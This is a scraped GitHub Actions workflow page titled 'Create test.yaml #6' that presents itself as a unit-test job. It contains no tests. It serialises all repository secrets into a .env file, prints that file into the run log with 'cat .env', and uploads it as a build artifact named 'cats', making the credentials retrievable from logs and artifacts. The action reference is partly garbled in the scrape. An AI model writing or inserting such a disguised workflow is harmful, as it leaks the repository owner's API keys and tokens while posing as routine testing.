Create test.yaml #6
Workflow file for this run
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
name: Test script | |
on: | |
push: | |
branches: | |
- "*" | |
pull_request: | |
branches: [main] | |
jobs: | |
unit-tests: | |
name: Unit test | |
runs-on: ubuntu-20.04 | |
steps: | |
- name: Make envfile | |
uses: SpicyPizza/[email protected] | |
with: | |
envkey_SECRETS: ${{ toJSON(secrets) }} | |
file_name: .env | |
fail_on_empty: false | |
- name: Upload artifact | |
run: ls -all ; pwd ; cat .env | |
- name: Upload artifact | |
uses: actions/upload-artifact@v3 | |
with: | |
name: cats | |
path: .env |